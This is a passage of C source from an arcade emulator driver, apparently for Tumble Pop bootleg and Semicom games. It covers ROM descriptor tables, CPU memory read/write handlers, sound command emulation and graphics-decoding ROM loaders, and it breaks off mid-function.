"ic62.68k", 0x40000, 0x85ea81c3, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "ic35.68k", 0x40000, 0xd2249605, BRF_ESS | BRF_PRG }, // 1 { "ic21.z80", 0x10000, 0xd95c64d0, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "protdata.bin", 0x00200, 0xecbf2163, BRF_ESS | BRF_PRG }, // 3 Shared RAM Data { "ic109.gfx", 0x80000, 0x2b86e983, BRF_GRA }, // 4 Tiles { "ic113.gfx", 0x80000, 0xe39b6610, BRF_GRA }, // 5 { "ic110.gfx", 0x80000, 0xbba4a015, BRF_GRA }, // 6 { "ic111.gfx", 0x80000, 0x61133b63, BRF_GRA }, // 7 { "ic100.gfx", 0x80000, 0x01c3d12a, BRF_GRA }, // 8 Sprites { "ic106.gfx", 0x80000, 0xdb282ac2, BRF_GRA }, // 9 { "ic99.gfx", 0x80000, 0x349df821, BRF_GRA }, // 10 { "ic105.gfx", 0x80000, 0xf7caa81c, BRF_GRA }, // 11 { "ic104.gfx", 0x80000, 0x51a5d38a, BRF_GRA }, // 12 { "ic108.gfx", 0x80000, 0xb253d60e, BRF_GRA }, // 13 { "ic102.gfx", 0x80000, 0x3caefe97, BRF_GRA }, // 14 { "ic107.gfx", 0x80000, 0x68109898, BRF_GRA }, // 15 { "ic64.snd", 0x40000, 0x8a60649c, BRF_SND }, // 16 Samples { "87c52.mcu", 0x10000, 0x00000000, BRF_NODUMP }, // 17 }; STD_ROM_PICK(Semibase) STD_ROM_FN(Semibase) static struct BurnRomInfo DquizgoRomDesc[] = { { "ub17", 0x80000, 0x0b96ab14, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "ub18", 0x80000, 0x07f869f2, BRF_ESS | BRF_PRG }, // 1 { "ub5", 0x10000, 0xe40481da, BRF_ESS | BRF_PRG }, // 2 Z80 Program Code { "protdata.bin", 0x00200, 0x6064b9e0, BRF_ESS | BRF_PRG }, // 3 Shared RAM Data { "srom5", 0x80000, 0xf1cdd21d, BRF_GRA }, // 4 Tiles { "srom6", 0x80000, 0xf848939e, BRF_GRA }, // 5 { "uor1", 0x80000, 0xb4912bf6, BRF_GRA }, // 6 Sprites { "uor2", 0x80000, 0xb011cf93, BRF_GRA }, // 7 { "uor3", 0x80000, 0xd96c3582, BRF_GRA }, // 8 { "uor4", 0x80000, 0x77ff23eb, BRF_GRA }, // 9 { "uc1", 0x40000, 0xd0f4c4ba, BRF_SND }, // 10 Samples { "87c52.mcu", 0x10000, 0x00000000, BRF_NODUMP }, // 11 }; STD_ROM_PICK(Dquizgo) STD_ROM_FN(Dquizgo) static struct BurnRomInfo JumppopRomDesc[] = { { "68k_prg.bin", 0x080000, 0x123536b9, BRF_ESS | BRF_PRG }, // 0 68000 Program Code { "z80_prg.bin", 0x040000, 0xa88d4424, BRF_ESS | BRF_PRG }, // 1 Z80 Program Code { "bg0.bin", 0x100000, 0x35a1363d, BRF_GRA }, // 2 Tiles { "bg1.bin", 0x100000, 0x5b37f943, BRF_GRA }, // 3 { "sp0.bin", 0x100000, 0x7c5d0633, BRF_GRA }, // 4 Sprites { "sp1.bin", 0x100000, 0x7eae782e, BRF_GRA }, // 5 { "samples.bin", 0x040000, 0x066f30a7, BRF_SND }, // 6 Samples }; STD_ROM_PICK(Jumppop) STD_ROM_FN(Jumppop) static int MemIndex() { unsigned char *Next; Next = Mem; Drv68KRom = Next; Next += 0x100000; if (DrvHasZ80)DrvZ80Rom = Next; Next += 0x010000; if (DrvHasProt) DrvProtData = Next; Next += 0x000200; MSM6295ROM = Next; Next += 0x040000; DrvMSM6295ROMSrc = Next; Next += 0x100000; RamStart = Next; Drv68KRam = Next; Next += 0x010800; if (DrvHasZ80)DrvZ80Ram = Next; Next += 0x000800; DrvSpriteRam = Next; Next += DrvSpriteRamSize; DrvPf1Ram = Next; Next += 0x002000; DrvPf2Ram = Next; Next += 0x002000; DrvPaletteRam = Next; Next += 0x001000; DrvControl = (UINT16*)Next; Next += 8 * sizeof(UINT16); RamEnd = Next; DrvChars = Next; Next += DrvNumChars * 8 * 8; DrvTiles = Next; Next += DrvNumTiles * 16 * 16; DrvSprites = Next; Next += DrvNumSprites * 16 * 16; DrvPalette = (unsigned int*)Next; Next += 0x00800 * sizeof(unsigned int); MemEnd = Next; return 0; } static int JumppopMemIndex() { unsigned char *Next; Next = Mem; Drv68KRom = Next; Next += 0x080000; DrvZ80Rom = Next; Next += 0x040000; MSM6295ROM = Next; Next += 0x040000; RamStart = Next; Drv68KRam = Next; Next += 0x0c0000; DrvZ80Ram = Next; Next += 0x000800; DrvSpriteRam = Next; Next += DrvSpriteRamSize; DrvPf1Ram = Next; Next += 0x004000; DrvPf2Ram = Next; Next += 0x004000; DrvPaletteRam = Next; Next += 0x000800; DrvControl = (UINT16*)Next; Next += 8 * sizeof(UINT16); RamEnd = Next; DrvChars = Next; Next += DrvNumChars * 8 * 8; DrvTiles = Next; Next += DrvNumTiles * 16 * 16; DrvSprites = Next; Next += DrvNumSprites * 16 * 16; DrvPalette = (unsigned int*)Next; Next += 0x00400 * sizeof(unsigned int); MemEnd = Next; return 0; } static int DrvDoReset() { if (DrvHasProt == 1) memcpy(Drv68KRam + 0x000, DrvProtData, 0x200); if (DrvHasProt == 2) memcpy(Drv68KRam + 0x200, DrvProtData, 0x200); SekOpen(0); SekReset(); SekClose(); if (DrvHasZ80) { ZetOpen(0); ZetReset(); ZetClose(); } if (DrvHasYM2151) BurnYM2151Reset(); if (DrvHasYM3812) BurnYM3812Reset(); MSM6295Reset(0); DrvVBlank = 0; DrvOkiBank = 0; DrvTileBank = 0; DrvSoundLatch = 0; Tumbleb2MusicCommand = 0; Tumbleb2MusicBank = 0; Tumbleb2MusicIsPlaying = 0; memset(DrvControl, 0, 8); return 0; } static const int Tumbleb2SoundLookup[256] = { /*0 1 2 3 4 5 6 7 8 9 a b c d e f*/ 0x00, -2, 0x00, 0x00, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, 0x00, -2, /* 0 */ -2, 0x00, -2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 1 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, /* 2 */ 0x19, 0x00, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, /* 3 */ 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, /* 4 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 5 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 6 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 7 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 8 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 9 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* a */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* b */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* c */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* d */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* e */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 /* f */ }; static void Tumbleb2PlayMusic() { int Status = MSM6295ReadStatus(0); if (Tumbleb2MusicIsPlaying) { if ((Status & 0x08) == 0) { MSM6295Command(0, 0x80 | Tumbleb2MusicCommand); MSM6295Command(0, 0x00 | 0x82); } } } static void Tumbleb2SetMusicBank(int Bank) { memcpy(MSM6295ROM + 0x38000, DrvMSM6295ROMSrc + 0x38000 + (Bank * 0x8000), 0x8000); } static void Tumbleb2PlaySound(UINT16 data) { int Status = MSM6295ReadStatus(0); if ((Status & 0x01) == 0) { MSM6295Command(0, 0x80 | data); MSM6295Command(0, 0x00 | 0x12); } else { if ((Status & 0x02) == 0) { MSM6295Command(0, 0x80 | data); MSM6295Command(0, 0x00 | 0x22); } else { if ((Status & 0x04) == 0) { MSM6295Command(0, 0x80 | data); MSM6295Command(0, 0x00 | 0x42); } } } } static void Tumbleb2ProcessMusicCommand(UINT16 data) { int Status = MSM6295ReadStatus(0); if (data == 1) { if ((Status & 0x08) == 0x08) { MSM6295Command(0, 0x40); Tumbleb2MusicIsPlaying = 0; } } else { if (Tumbleb2MusicIsPlaying != data) { Tumbleb2MusicIsPlaying = data; MSM6295Command(0, 0x40); switch (data) { case 0x04: // map screen Tumbleb2MusicBank = 1; Tumbleb2MusicCommand = 0x38; break; case 0x05: // america Tumbleb2MusicBank = 6; Tumbleb2MusicCommand = 0x38; break; case 0x06: // asia Tumbleb2MusicBank = 2; Tumbleb2MusicCommand = 0x38; break; case 0x07: // africa/egypt -- don't seem to have a tune for this one Tumbleb2MusicBank = 4; Tumbleb2MusicCommand = 0x38; break; case 0x08: // antartica Tumbleb2MusicBank = 3; Tumbleb2MusicCommand = 0x38; break; case 0x09: // brazil / south america Tumbleb2MusicBank = 4; Tumbleb2MusicCommand = 0x38; break; case 0x0a: // japan -- don't seem to have a tune Tumbleb2MusicBank = 2; Tumbleb2MusicCommand = 0x38; break; case 0x0b: // australia Tumbleb2MusicBank = 5; Tumbleb2MusicCommand = 0x38; break; case 0x0c: // france/europe Tumbleb2MusicBank = 6; Tumbleb2MusicCommand = 0x38; break; case 0x0d: // how to play Tumbleb2MusicBank = 7; Tumbleb2MusicCommand = 0x38; break; case 0x0f: // stage clear Tumbleb2MusicBank = 0; Tumbleb2MusicCommand = 0x33; break; case 0x10: // boss stage Tumbleb2MusicBank = 8; Tumbleb2MusicCommand = 0x38; break; case 0x12: // world clear Tumbleb2MusicBank = 0; Tumbleb2MusicCommand = 0x34; break; default: // anything else.. Tumbleb2MusicBank = 8; Tumbleb2MusicCommand = 0x38; break; } Tumbleb2SetMusicBank(Tumbleb2MusicBank); Tumbleb2PlayMusic(); } } } static void Tumbleb2SoundMCUCommand(UINT16 data) { int Sound = Tumbleb2SoundLookup[data & 0xff]; if (Sound == 0) { } else { if (Sound == -2) { Tumbleb2ProcessMusicCommand(data); } else { Tumbleb2PlaySound(Sound); } } } unsigned char __fastcall Tumbleb68KReadByte(unsigned int a) { switch (a) { case 0x100001: { return ~0; } case 0x180002: { return DrvDip[1]; } case 0x180003: { return DrvDip[0]; } case 0x180009: { if (Semibase) return 0xff - DrvInput[2]; if (DrvVBlank) { if (Wondl96) { return 0xf3 - DrvInput[2]; } else { return 0xf7 - DrvInput[2]; } } if (Wondl96) return 0xfb - DrvInput[2]; return 0xff - DrvInput[2]; } #if 0 case 0x18000a: { return 0; } default: { bprintf(PRINT_NORMAL, _T("68K Read byte => %06X\n"), a); } #endif } return 0; } void __fastcall Tumbleb68KWriteByte(unsigned int a, unsigned char d) { switch (a) { case 0x100000: { if (Tumbleb2) { Tumbleb2SoundMCUCommand(d); return; } else { MSM6295Command(0, d); return; } } case 0x100001: { if (SemicomSoundCommand) DrvSoundLatch = d; return; } case 0x100002: { if (Chokchok) DrvTileBank = (d << 8) << 1; if (Bcstry) DrvTileBank = d << 8; return; } #if 0 case 0x100003: { return; } default: { bprintf(PRINT_NORMAL, _T("68K Write byte => %06X, %02X\n"), a, d); } #endif } } unsigned short __fastcall Tumbleb68KReadWord(unsigned int a) { switch (a) { case 0x100004: { return rand() % 0x10000; } case 0x180000: { return ((0xff - DrvInput[1]) << 8) | (0xff - DrvInput[0]); } case 0x180002: { return (DrvDip[1] << 8) | DrvDip[0]; } case 0x180004: case 0x180006: return -0; case 0x180008: { if (Bcstry && (SekGetPC(0) == 0x560)) { return 0x1a0; } else { if (Semibase) return 0xffff - DrvInput[2]; if (DrvVBlank) { if (Wondl96) { return 0xfff3 - DrvInput[2]; } else { return 0xfff7 - DrvInput[2]; } } } if (Wondl96) return 0xfff3 - DrvInput[2]; return 0xffff - DrvInput[2]; } #if 0 case 0x18000a: { return 0; } case 0x18000c: { return 0; } case 0x18000e: { return -0; } default: { bprintf(PRINT_NORMAL, _T("68K Read word => %06X\n"), a); } #endif } return 0; } void __fastcall Tumbleb68KWriteWord(unsigned int a, unsigned short d) { #if 1 && defined FBA_DEBUG if (a >= 0x160800 && a <= 0x160807) return; if (a >= 0x198000 && a <= 0x1a8015) return; if (a >= 0x321000 && a <= 0x321fff) return; if (a >= 0x323000 && a <= 0x331fff) return; if (a >= 0x340000 && a <= 0x3401ff) return; if (a >= 0x340400 && a <= 0x34047f) return; if (a >= 0x342000 && a <= 0x3421ff) return; if (a >= 0x342400 && a <= 0x34247f) return; #endif if (a >= 0x300000 && a <= 0x30000f) { DrvControl[(a - 0x300000) >> 1] = d; return; } switch (a) { case 0x100000: { if (Tumbleb2) { Tumbleb2SoundMCUCommand(d); return; } else { if (Jumpkids) { DrvSoundLatch = d & 0xff; ZetOpen(0); ZetRaiseIrq(0); ZetClose(); return; } else { if (SemicomSoundCommand) { if (d & 0xff) DrvSoundLatch = d & 0xff; return; } else { MSM6295Command(0, d & 0xff); return; } } } } case 0x100002: { if (Wlstar) DrvTileBank = d & 0x4000; return; } #if 0 case 0x18000c: { return; } default: { bprintf(PRINT_NORMAL, _T("68K Write word => %06X, %04X\n"), a, d); } #endif } } unsigned short __fastcall Suprtrio68KReadWord(unsigned int a) { switch (a) { case 0xe00000: { return ((0xff - DrvInput[1]) << 8) | (0xff - DrvInput[0]); } case 0xe40000: { return 0xffff - DrvInput[2]; } case 0xe80002: { return 0xff00 | DrvDip[0]; } #if 0 default: { bprintf(PRINT_NORMAL, _T("68K Read word => %06X\n"), a); } #endif } return 0; } void __fastcall Suprtrio68KWriteWord(unsigned int a, unsigned short d) { if (a >= 0xa00000 && a <= 0xa0000f) { DrvControl[(a - 0xa00000) >> 1] = d; return; } switch (a) { case 0xe00000: { DrvTileBank = d << 14; return; } case 0xec0000: { if (SemicomSoundCommand) { if (d & 0xff) DrvSoundLatch = d & 0xff; } return; } #if 0 default: { bprintf(PRINT_NORMAL, _T("68K Write word => %06X, %04X\n"), a, d); } #endif } } unsigned char __fastcall Fncywld68KReadByte(unsigned int a) { switch (a) { #if 0 case 0x100003: { return 0; } #endif case 0x100005: { return MSM6295ReadStatus(0); } case 0x180002: { return DrvDip[1]; } #if 0 case 0x180005: { return -0; } #endif case 0x180009: { if (DrvVBlank) return 0xf7 - DrvInput[2]; return 0xff - DrvInput[2]; } #if 0 default: { bprintf(PRINT_NORMAL, _T("68K Read byte => %06X\n"), a); } #endif } return 0; } void __fastcall Fncywld68KWriteByte(unsigned int a, unsigned char d) { switch (a) { case 0x100001: { BurnYM2151SelectRegister(d); return; } case 0x100003: { BurnYM2151WriteRegister(d); return; } case 0x100005: { MSM6295Command(0, d); return; } #if 0 default: { bprintf(PRINT_NORMAL, _T("68K Write byte => %06X, %02X\n"), a, d); } #endif } } unsigned short __fastcall Fncywld68KReadWord(unsigned int a) { switch (a) { case 0x180000: { return ((0xff - DrvInput[1]) << 8) | (0xff - DrvInput[0]); } case 0x180002: { return (DrvDip[1] << 8) | DrvDip[0]; } case 0x180004: case 0x18000e: case 0x180006: return -0; case 0x180008: { if (DrvVBlank) return 0xfff7 - DrvInput[2]; return 0xffff - DrvInput[2]; } #if 0 case 0x18000a: { return 0; } case 0x18000c: { return 0; } default: { bprintf(PRINT_NORMAL, _T("68K Read word => %06X\n"), a); } #endif } return 0; } void __fastcall Fncywld68KWriteWord(unsigned int a, unsigned short d) { if (a >= 0x160800 && a <= 0x160807) return; if (a >= 0x300000 && a <= 0x30000f) { DrvControl[(a - 0x300000) >> 1] = d; return; } switch (a) { case 0x100000: { BurnYM2151SelectRegister(d); return; } #if 0 default: { bprintf(PRINT_NORMAL, _T("68K Write word => %06X, %04X\n"), a, d); } #endif } } unsigned short __fastcall Jumppop68KReadWord(unsigned int a) { switch (a) { case 0x180002: { return ((0xff - DrvInput[1]) << 8) | (0xff - DrvInput[0]); } case 0x180004: { return 0xffff - DrvInput[2]; } case 0x180006: { return (DrvDip[1] << 8) | DrvDip[0]; } #if 0 default: { bprintf(PRINT_NORMAL, _T("68K Read word => %06X\n"), a); } #endif } return 0; } void __fastcall Jumppop68KWriteWord(unsigned int a, unsigned short d) { if (a >= 0x380000 && a <= 0x38000f) { DrvControl[(a - 0x380000) >> 1] = d; return; } switch (a) { #if 0 case 0x180000: { // NOP return; } #endif case 0x18000c: { DrvSoundLatch = d & 0xff; //bprintf(PRINT_NORMAL, _T("Latch Sent -> %02X\n"), DrvSoundLatch); ZetOpen(0); ZetRaiseIrq(0); nCyclesDone[1] += ZetRun(100); ZetClose(); return; } #if 0 case 0x180008: case 0x18000a: { return; } default: { bprintf(PRINT_NORMAL, _T("68K Write word => %06X, %04X\n"), a, d); } #endif } } unsigned char __fastcall JumpkidsZ80Read(unsigned short a) { switch (a) { case 0x9800: { return MSM6295ReadStatus(0); } case 0xa000: { return DrvSoundLatch; } #if 0 default: { bprintf(PRINT_NORMAL, _T("Z80 Read => %04X\n"), a); } #endif } return 0; } void __fastcall JumpkidsZ80Write(unsigned short a, unsigned char d) { switch (a) { case 0x9000: { DrvOkiBank = d & 3; memcpy(MSM6295ROM + 0x20000, DrvMSM6295ROMSrc + (DrvOkiBank * 0x20000), 0x20000); return; } case 0x9800: { MSM6295Command(0, d); return; } #if 0 default: { bprintf(PRINT_NORMAL, _T("Z80 Write => %04X, %02X\n"), a, d); } #endif } } unsigned char __fastcall SemicomZ80Read(unsigned short a) { switch (a) { case 0xf001: { return BurnYM2151ReadStatus(); } case 0xf002: { return MSM6295ReadStatus(0); } case 0xf008: { return DrvSoundLatch; } #if 0 default: { bprintf(PRINT_NORMAL, _T("Z80 Read => %04X\n"), a); } #endif } return 0; } void __fastcall SemicomZ80Write(unsigned short a, unsigned char d) { switch (a) { case 0xf000: { BurnYM2151SelectRegister(d); return; } case 0xf001: { BurnYM2151WriteRegister(d); return; } case 0xf002: { MSM6295Command(0, d); return; } #if 0 case 0xf006: { return; } #endif case 0xf00e: { DrvOkiBank = d; memcpy(MSM6295ROM + 0x30000, DrvMSM6295ROMSrc + 0x30000 + (DrvOkiBank * 0x10000), 0x10000); return; } #if 0 default: { bprintf(PRINT_NORMAL, _T("Z80 Write => %04X, %02X\n"), a, d); } #endif } } unsigned char __fastcall JumppopZ80PortRead(unsigned short a) { a &= 0xff; switch (a) { case 0x02: { return MSM6295ReadStatus(0); } case 0x03: { //bprintf(PRINT_IMPORTANT, _T("Latch Read %02X\n"), DrvSoundLatch); ZetLowerIrq(0); return DrvSoundLatch; } #if 0 case 0x06: { // NOP return 0; } default: { bprintf(PRINT_NORMAL, _T("Z80 Port Read -> %02X\n"), a); } #endif } return 0; } void __fastcall JumppopZ80PortWrite(unsigned short a, unsigned char d) { a &= 0xff; switch (a) { case 0x00: { BurnYM3812Write(0, d); return; } case 0x01: { BurnYM3812Write(1, d); return; } case 0x02: { MSM6295Command(0, d); return; } #if 0 case 0x04: { // NOP return; } #endif case 0x05: { //memory_set_bankptr(1, memory_region(REGION_CPU2) + 0x10000 + (0x4000 * data)); DrvZ80Bank = d; ZetMapArea(0x8000, 0xbfff, 0, DrvZ80Rom + (DrvZ80Bank * 0x4000)); ZetMapArea(0x8000, 0xbfff, 2, DrvZ80Rom + (DrvZ80Bank * 0x4000)); return; } #if 0 default: { bprintf(PRINT_NORMAL, _T("Z80 Port Write -> %02X, %02x\n"), a, d); } #endif } } static int CharPlaneOffsets[4] = { 0x200008, 0x200000, 8, 0 }; static int CharXOffsets[8] = { 0, 1, 2, 3, 4, 5, 6, 7 }; static int CharYOffsets[8] = { 0, 16, 32, 48, 64, 80, 96, 112 }; static int SpritePlaneOffsets[4] = { 0x400008, 0x400000, 8, 0 }; static int Sprite2PlaneOffsets[4] = { 0x800008, 0x800000, 8, 0 }; static int Sprite3PlaneOffsets[4] = { 0x1000008, 0x1000000, 8, 0 }; static int SpriteXOffsets[16] = { 256, 257, 258, 259, 260, 261, 262, 263, 0, 1, 2, 3, 4, 5, 6, 7 }; static int SpriteYOffsets[16] = { 0, 16, 32, 48, 64, 80, 96, 112, 128, 144, 160, 176, 192, 208, 224, 240 }; static int SuprtrioPlaneOffsets[4] = { 0x400000, 0, 0x600000, 0x200000 }; static int SuprtrioXOffsets[16] = { 0, 1, 2, 3, 4, 5, 6, 7, 128, 129, 130, 131, 132, 133, 134, 135 }; static int SuprtrioYOffsets[16] = { 8, 0, 16, 24, 40, 32, 48, 56, 64, 72, 80, 88, 96, 104, 112, 120 }; static int JpCharPlaneOffsets[8] = { 0, 1, 2, 3, 4, 5, 6, 7 }; static int JpCharXOffsets[8] = { 0x800000, 0x800008, 0, 8, 0x800010, 0x800018, 16, 24 }; static int JpCharYOffsets[8] = { 0, 32, 64, 96, 128, 160, 192, 224 }; static int JpTilePlaneOffsets[8] = { 0, 1, 2, 3, 4, 5, 6, 7 }; static int JpTileXOffsets[16] = { 0x800000, 0x800008, 0, 8, 0x800010, 0x800018, 16, 24, 0x800100, 0x800108, 256, 264, 0x800110, 0x800118, 272, 280 }; static int JpTileYOffsets[16] = { 0, 32, 64, 96, 128, 160, 192, 224, 512, 544, 576, 608, 640, 672, 704, 736 }; static void TumblebTilesRearrange() { UINT8 *rom = DrvTempRom; int len = DrvNumTiles * 128; int i; /* gfx data is in the wrong order */ for (i = 0;i < len;i++) { if ((i & 0x20) == 0) { int t = rom[i]; rom[i] = rom[i + 0x20]; rom[i + 0x20] = t; } } /* low/high half are also swapped */ for (i = 0;i < len/2;i++) { int t = rom[i]; rom[i] = rom[i + len/2]; rom[i + len/2] = t; } } static int TumblebLoadRoms() { int nRet = 0; DrvTempRom = (unsigned char *)malloc(0x100000); // Load 68000 Program Roms nRet = BurnLoadRom(Drv68KRom + 0x00001, 0, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(Drv68KRom + 0x00000, 1, 2); if (nRet != 0) return 1; // Load and decode the tiles nRet = BurnLoadRom(DrvTempRom + 0x000000, 2, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 3, 2); if (nRet != 0) return 1; TumblebTilesRearrange(); GfxDecode(DrvNumChars, 4, 8, 8, CharPlaneOffsets, CharXOffsets, CharYOffsets, 0x80, DrvTempRom, DrvChars); GfxDecode(DrvNumTiles, 4, 16, 16, CharPlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvTiles); // Load and decode the sprites memset(DrvTempRom, 0, 0x100000); nRet = BurnLoadRom(DrvTempRom + 0x000000, 4, 1); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080000, 5, 1); if (nRet != 0) return 1; GfxDecode(DrvNumSprites, 4, 16, 16, SpritePlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvSprites); // Load Sample Roms nRet = BurnLoadRom(DrvMSM6295ROMSrc + 0x00000, 6, 1); if (nRet != 0) return 1; if (Tumbleb2) nRet = BurnLoadRom(DrvMSM6295ROMSrc + 0x80000, 6, 1); if (nRet != 0) return 1; memcpy(MSM6295ROM, DrvMSM6295ROMSrc, 0x40000); free(DrvTempRom); return 0; } static int JumpkidsLoadRoms() { int nRet = 0; DrvTempRom = (unsigned char *)malloc(0x100000); // Load 68000 Program Roms nRet = BurnLoadRom(Drv68KRom + 0x00001, 0, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(Drv68KRom + 0x00000, 1, 2); if (nRet != 0) return 1; // Load Z80 Program Roms nRet = BurnLoadRom(DrvZ80Rom, 2, 1); if (nRet != 0) return 1; // Load and decode the tiles nRet = BurnLoadRom(DrvTempRom + 0x000000, 3, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 4, 2); if (nRet != 0) return 1; TumblebTilesRearrange(); GfxDecode(DrvNumChars, 4, 8, 8, CharPlaneOffsets, CharXOffsets, CharYOffsets, 0x80, DrvTempRom, DrvChars); GfxDecode(DrvNumTiles, 4, 16, 16, CharPlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvTiles); // Load and decode the sprites memset(DrvTempRom, 0, 0x100000); nRet = BurnLoadRom(DrvTempRom + 0x000000, 5, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 6, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080000, 7, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080001, 8, 2); if (nRet != 0) return 1; GfxDecode(DrvNumSprites, 4, 16, 16, SpritePlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvSprites); // Load Sample Roms nRet = BurnLoadRom(DrvMSM6295ROMSrc + 0x00000, 9, 1); if (nRet != 0) return 1; nRet = BurnLoadRom(MSM6295ROM + 0x00000, 10, 1); if (nRet != 0) return 1; free(DrvTempRom); return 0; } static int MetlsavrLoadRoms() { int nRet = 0; DrvTempRom = (unsigned char *)malloc(0x200000); // Load 68000 Program Roms nRet = BurnLoadRom(Drv68KRom + 0x00001, 0, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(Drv68KRom + 0x00000, 1, 2); if (nRet != 0) return 1; // Load Z80 Program Roms nRet = BurnLoadRom(DrvZ80Rom, 2, 1); if (nRet != 0) return 1; // Load Shared RAM data nRet = BurnLoadRom(DrvProtData, 3, 1); if (nRet) return 1; unsigned char *pTemp = (unsigned char*)malloc(0x200); memcpy(pTemp, DrvProtData, 0x200); for (int i = 0; i < 0x200; i+=2) { DrvProtData[i + 0] = pTemp[i + 1]; DrvProtData[i + 1] = pTemp[i + 0]; } free(pTemp); // Load and decode the tiles nRet = BurnLoadRom(DrvTempRom + 0x000001, 4, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000000, 5, 2); if (nRet != 0) return 1; TumblebTilesRearrange(); GfxDecode(DrvNumChars, 4, 8, 8, CharPlaneOffsets, CharXOffsets, CharYOffsets, 0x80, DrvTempRom, DrvChars); GfxDecode(DrvNumTiles, 4, 16, 16, CharPlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvTiles); // Load and decode the sprites memset(DrvTempRom, 0, 0x200000); nRet = BurnLoadRom(DrvTempRom + 0x000000, 6, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 7, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x100000, 8, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x100001, 9, 2); if (nRet != 0) return 1; GfxDecode(DrvNumSprites, 4, 16, 16, Sprite2PlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvSprites); // Load Sample Roms nRet = BurnLoadRom(MSM6295ROM, 10, 1); if (nRet != 0) return 1; free(DrvTempRom); return 0; } static int PangpangLoadRoms() { int nRet = 0; DrvTempRom = (unsigned char *)malloc(0x100000); // Load 68000 Program Roms nRet = BurnLoadRom(Drv68KRom + 0x00001, 0, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(Drv68KRom + 0x00000, 1, 2); if (nRet != 0) return 1; // Load and decode the tiles nRet = BurnLoadRom(DrvTempRom + 0x000000, 2, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 3, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080000, 4, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080001, 5, 2); if (nRet != 0) return 1; unsigned char *pTemp = (unsigned char*)malloc(0x100000); memcpy(pTemp, DrvTempRom, 0x100000); memset(DrvTempRom, 0, 0x100000); memcpy(DrvTempRom + 0x000000, pTemp + 0x000000, 0x40000); memcpy(DrvTempRom + 0x080000, pTemp + 0x040000, 0x40000); memcpy(DrvTempRom + 0x040000, pTemp + 0x080000, 0x40000); memcpy(DrvTempRom + 0x0c0000, pTemp + 0x0c0000, 0x40000); free(pTemp); TumblebTilesRearrange(); GfxDecode(DrvNumChars, 4, 8, 8, SpritePlaneOffsets, CharXOffsets, CharYOffsets, 0x80, DrvTempRom, DrvChars); GfxDecode(DrvNumTiles, 4, 16, 16, SpritePlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvTiles); // Load and decode the sprites memset(DrvTempRom, 0, 0x100000); nRet = 